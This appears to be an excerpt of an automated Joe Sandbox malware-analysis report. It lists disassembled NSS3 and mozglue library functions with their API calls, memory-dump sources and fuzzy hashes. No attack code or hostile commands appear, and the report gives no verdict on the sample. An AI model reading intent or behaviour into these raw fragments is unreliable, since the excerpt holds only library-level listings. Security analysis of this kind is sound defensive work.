strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CB20BDE), ref: 6CB20DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CB20BDE), ref: 6CB20DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CB20BDE), ref: 6CB20DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CB20BDE), ref: 6CB20E32

Strings

%s incr => %d (find lib), xrefs: 6CB20E2D

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: d7c1f3ad2fe098e3cb2b180079edde0925a352278beef1668b542a304223c507
Instruction ID: 4a692ae6818b9c13c36449746ed960ed641c203e7b99e2c3875c2f94bdcb3344
Opcode Fuzzy Hash: d7c1f3ad2fe098e3cb2b180079edde0925a352278beef1668b542a304223c507
Instruction Fuzzy Hash: 32012472B00260AFE720AF24AC45E27B3BCDF45A09B05842DE909E3A41F761EC14C7E1

Function 6CA7C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA7C0E9), ref: 6CA7C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CA7C437
FreeLibrary.KERNEL32(?,6CA7C0E9), ref: 6CA7C44C

Strings

NtQueryVirtualMemory, xrefs: 6CA7C431
ntdll.dll, xrefs: 6CA7C413

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: f59f125010361e4ff231a87c804b3c247a2bb3d47250f8e5f7eb4a0892fe9434
Instruction ID: 68ee1647a5ce44462bd1e1620c407fb6ff8cde9fd69ac9de73a7599d3fe808d6
Opcode Fuzzy Hash: f59f125010361e4ff231a87c804b3c247a2bb3d47250f8e5f7eb4a0892fe9434
Instruction Fuzzy Hash: A7E092746313039BEF68AF71AD0E7157AFCB706208F14C22EBA0491641EFB0C0528A60

Function 6CA775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA7748B,?), ref: 6CA775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CA775D7
FreeLibrary.KERNEL32(?,6CA7748B,?), ref: 6CA775EC

Strings

RtlNtStatusToDosError, xrefs: 6CA775D1
ntdll.dll, xrefs: 6CA775B3

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 9a40633eafb110359c962d6d017769cc8efb45549c477aeb4cb3d4524e42d650
Instruction ID: 1491da913915486c2a3591faaf7d56150763a5b4f8a5e5fa04cba3439818dd6b
Opcode Fuzzy Hash: 9a40633eafb110359c962d6d017769cc8efb45549c477aeb4cb3d4524e42d650
Instruction Fuzzy Hash: D8E09275620303ABEF19AFA2EC4A7017AF8EB06258F14C529BD05E1640EFB080938F20

Function 6CA14DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA14E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA14E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA14EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA14F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA14F1E

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ce400a413642f3ffedba4170b21963f9df79b69de044320d123be00fbbbaf2a7
Instruction ID: 994cb752642de037c49473bfe0e1a843ecd19e1414adabde6ca8ad47ac7f88a2
Opcode Fuzzy Hash: ce400a413642f3ffedba4170b21963f9df79b69de044320d123be00fbbbaf2a7
Instruction Fuzzy Hash: FE41CE716087029FC705CF29C48099BB7F5BF89348F148A2DF46697B81DB30E998CB91

Function 6CA21530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA2159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA215BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA215E7
free.MOZGLUE(?,?,?,?,?,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA21606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA2152B,?,?,?,?,6CA21248,?), ref: 6CA21637

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 1984e379119c6cdb59eec9191600e373f9f74b5e4762eae841cb61b48667f1ab
Instruction ID: 1e6cbc4dfc196c40e445092432007104ab13dc4f9fcba418daa49e12de82d8e8
Opcode Fuzzy Hash: 1984e379119c6cdb59eec9191600e373f9f74b5e4762eae841cb61b48667f1ab
Instruction Fuzzy Hash: DF31F872A001248BC7188E7CD9508BE73E5BB8136472C0B6DE523DBBD4EB35DD858791

Function 6CB2EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB2EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CB2EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CB2EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB2EEEB
free.MOZGLUE(?), ref: 6CB2EEF6

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: eadc704336ad78e1cc5ae4e7c53ce912c2a4eb61c7cb7249dc3c44bb61b2cf12
Instruction ID: e1c909ad2c5ce236c8ec00012641825b1478434e14b7031125cfe64a315d009a
Opcode Fuzzy Hash: eadc704336ad78e1cc5ae4e7c53ce912c2a4eb61c7cb7249dc3c44bb61b2cf12
Instruction Fuzzy Hash: 5931E971A002C09BD720AF3ACC4577A7BF4FB46356F140629E85E87A50D739E455C7D2

Function 6CA1B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA1B532
moz_xmalloc.MOZGLUE(?), ref: 6CA1B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA1B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA1B57E
free.MOZGLUE(00000000), ref: 6CA1B58F

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 9e6e0a029e1750db70c4014e3e6f5b400e92703d79cef119cf298192c249a2c0
Instruction ID: 01ff49bc3d62374c7d62d16d75ab27875bebc3e923611afaaef70c2bc4bf85de
Opcode Fuzzy Hash: 9e6e0a029e1750db70c4014e3e6f5b400e92703d79cef119cf298192c249a2c0
Instruction Fuzzy Hash: C5210AB16042069BDB008F69DC40BAEBBB9FF41318F284129E919DB741F775D955C7A0

Function 6CB3AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CB33FFF,00000000,?,?,?,?,?,6CB31A1C,00000000,00000000), ref: 6CB3ADA7

Part of subcall function 6CB914C0: TlsGetValue.KERNEL32 ref: 6CB914E0
Part of subcall function 6CB914C0: EnterCriticalSection.KERNEL32 ref: 6CB914F5
Part of subcall function 6CB914C0: PR_Unlock.NSS3 ref: 6CB9150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CB33FFF,00000000,?,?,?,?,?,6CB31A1C,00000000,00000000), ref: 6CB3ADB4

Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB910F3
Part of subcall function 6CB910C0: EnterCriticalSection.KERNEL32(?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9110C
Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91141
Part of subcall function 6CB910C0: PR_Unlock.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91182
Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CB33FFF,?,?,?,?,6CB33FFF,00000000,?,?,?,?,?,6CB31A1C,00000000), ref: 6CB3ADD5

Part of subcall function 6CB8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CB88D2D,?,00000000,?), ref: 6CB8FB85
Part of subcall function 6CB8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CB8FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CC594B0,?,?,?,?,?,?,?,?,6CB33FFF,00000000,?), ref: 6CB3ADEC

Part of subcall function 6CB8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC618D0,?), ref: 6CB8B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB33FFF), ref: 6CB3AE3C

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5de218139bba4c76e871b35bbce5a158081639bdd7f06944494cc75617237a47
Instruction ID: 7a648c3ce672de43907d77d60457a917e05db6943fe3f06c290b7ad090dd02f6
Opcode Fuzzy Hash: 5de218139bba4c76e871b35bbce5a158081639bdd7f06944494cc75617237a47
Instruction Fuzzy Hash: F1117B71E002A45BEB009BA59C01BBF73BCDF5524CF144128EC1D96741F720E95886E3

Function 6CB58E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CB72E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB44F1C), ref: 6CB58EA2

Part of subcall function 6CB7F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CB7F854
Part of subcall function 6CB7F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CB7F868
Part of subcall function 6CB7F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CB7F882
Part of subcall function 6CB7F820: free.MOZGLUE(04C483FF,?,?), ref: 6CB7F889
Part of subcall function 6CB7F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CB7F8A4
Part of subcall function 6CB7F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CB7F8AB
Part of subcall function 6CB7F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CB7F8C9
Part of subcall function 6CB7F820: free.MOZGLUE(280F10EC,?,?), ref: 6CB7F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CB72E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB44F1C), ref: 6CB58EC3
TlsGetValue.KERNEL32(?,?,?,6CB72E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB44F1C), ref: 6CB58EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CB72E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB58EF1
PR_Unlock.NSS3 ref: 6CB58F20

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: cf9ffe61e648a3b78d77d8815f24d486e1c57d831150433727cb3a64e68304c6
Instruction ID: 6299a790d6ab4f72a08b8ecd37248c48dc474a4514e27408a99bc391d028de24
Opcode Fuzzy Hash: cf9ffe61e648a3b78d77d8815f24d486e1c57d831150433727cb3a64e68304c6
Instruction Fuzzy Hash: E0215970A097459BDB00AF29D4845ADBBF0FF48318F41456AE9989BB50D731E864CB92

Function 6CB88800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CB9085A,00000000,?,6CB38369,?), ref: 6CB88821
TlsGetValue.KERNEL32(?,?,6CB9085A,00000000,?,6CB38369,?), ref: 6CB8883D
EnterCriticalSection.KERNEL32(?,?,?,6CB9085A,00000000,?,6CB38369,?), ref: 6CB88856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CB88887
PR_Unlock.NSS3(?,?,?,?,6CB9085A,00000000,?,6CB38369,?), ref: 6CB88899

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: bb2cea8d26c7edb323e117bdc3b737cceb851ddf76fc090c229ff70e7b3f01c7
Instruction ID: 72d991b287667d1ca0ad47d0abca0f8176b2973e64326ecc8871dca60d01978b
Opcode Fuzzy Hash: bb2cea8d26c7edb323e117bdc3b737cceb851ddf76fc090c229ff70e7b3f01c7
Instruction Fuzzy Hash: 39217AB4A05685CFDB00AF78C4845AABBB4FF06309F50466ADC9897701E730E494CB92

Function 6CB528A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB480DD), ref: 6CB528BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CB480DD), ref: 6CB528D3
PR_Unlock.NSS3(?,?,?,?,?,6CB480DD), ref: 6CB528E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CB480DD), ref: 6CB5290E
free.MOZGLUE(?,?,?,?,?,?,6CB480DD), ref: 6CB5291A

Part of subcall function 6CB49270: DeleteCriticalSection.KERNEL32(?,?,6CB55089,?,6CB53B70,?,?,?,?,?,6CB55089,6CB4F39B,00000000), ref: 6CB4927F
Part of subcall function 6CB49270: free.MOZGLUE(?,?,6CB53B70,?,?,?,?,?,6CB55089,6CB4F39B,00000000), ref: 6CB49286
Part of subcall function 6CB49270: PL_HashTableDestroy.NSS3(?,6CB53B70,?,?,?,?,?,6CB55089,6CB4F39B,00000000), ref: 6CB49292

Part of subcall function 6CB48B50: TlsGetValue.KERNEL32(00000000,?,6CB50948,00000000), ref: 6CB48B6B
Part of subcall function 6CB48B50: EnterCriticalSection.KERNEL32(?,?,?,6CB50948,00000000), ref: 6CB48B80
Part of subcall function 6CB48B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CB50948,00000000), ref: 6CB48B8F
Part of subcall function 6CB48B50: PR_Unlock.NSS3(?,?,?,?,6CB50948,00000000), ref: 6CB48BA1
Part of subcall function 6CB48B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CB50948,00000000), ref: 6CB48BAC
Part of subcall function 6CB48B50: free.MOZGLUE(?,?,?,?,?,6CB50948,00000000), ref: 6CB48BB8

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 7b7d49b902187548d9149a87845d21375075daa2928c4ece4959dce205c7801a
Instruction ID: e79e329c26b26816972580187ab43bdf5f5ceb9c5d23c8a890fa9aacffe05ad2
Opcode Fuzzy Hash: 7b7d49b902187548d9149a87845d21375075daa2928c4ece4959dce205c7801a
Instruction Fuzzy Hash: 982128B5A05A459FCB00BF78C088469BBF4FF05354F018A69DCD897B00E734E899CB92

Function 6CB48FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CB50710), ref: 6CB48FF1
PR_CallOnce.NSS3(6CC92158,6CB49150,00000000,?,?,?,6CB49138,?,6CB50710), ref: 6CB49029
calloc.MOZGLUE(00000001,00000000,?,?,6CB50710), ref: 6CB4904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CB50710), ref: 6CB49066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CB50710), ref: 6CB49078

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 9add158b74fa14f0d6c284640733acfa285a5de09f0752e60df86bbc98d4dc9e
Instruction ID: 99bb7a17f3359f4c49479cb219766a29c8dfdfee1b9bf20d3466abfb9cb4db68
Opcode Fuzzy Hash: 9add158b74fa14f0d6c284640733acfa285a5de09f0752e60df86bbc98d4dc9e
Instruction Fuzzy Hash: 10114831B081A157EB205A6D9C44A6A32ACDB827AEF404531FD94C2B48F313CC45A3E2

Function 6CB5CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CB71E10: TlsGetValue.KERNEL32 ref: 6CB71E36
Part of subcall function 6CB71E10: EnterCriticalSection.KERNEL32(?,?,?,6CB4B1EE,2404110F,?,?), ref: 6CB71E4B
Part of subcall function 6CB71E10: PR_Unlock.NSS3 ref: 6CB71E76

free.MOZGLUE(?,6CB5D079,00000000,00000001), ref: 6CB5CDA5
PK11_FreeSymKey.NSS3(?,6CB5D079,00000000,00000001), ref: 6CB5CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CB5D079,00000000,00000001), ref: 6CB5CDCF
DeleteCriticalSection.KERNEL32(?,6CB5D079,00000000,00000001), ref: 6CB5CDE2
free.MOZGLUE(?), ref: 6CB5CDE9

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 170fc06e4ff6316c8909555d6f07f9fd3bc44360536af9a49d3bb3fd1cb45e23
Instruction ID: 94d7eab66ce8b46f71fb830e3a9f8e34b16e39b1e8b0a937550c83cedc10f074
Opcode Fuzzy Hash: 170fc06e4ff6316c8909555d6f07f9fd3bc44360536af9a49d3bb3fd1cb45e23
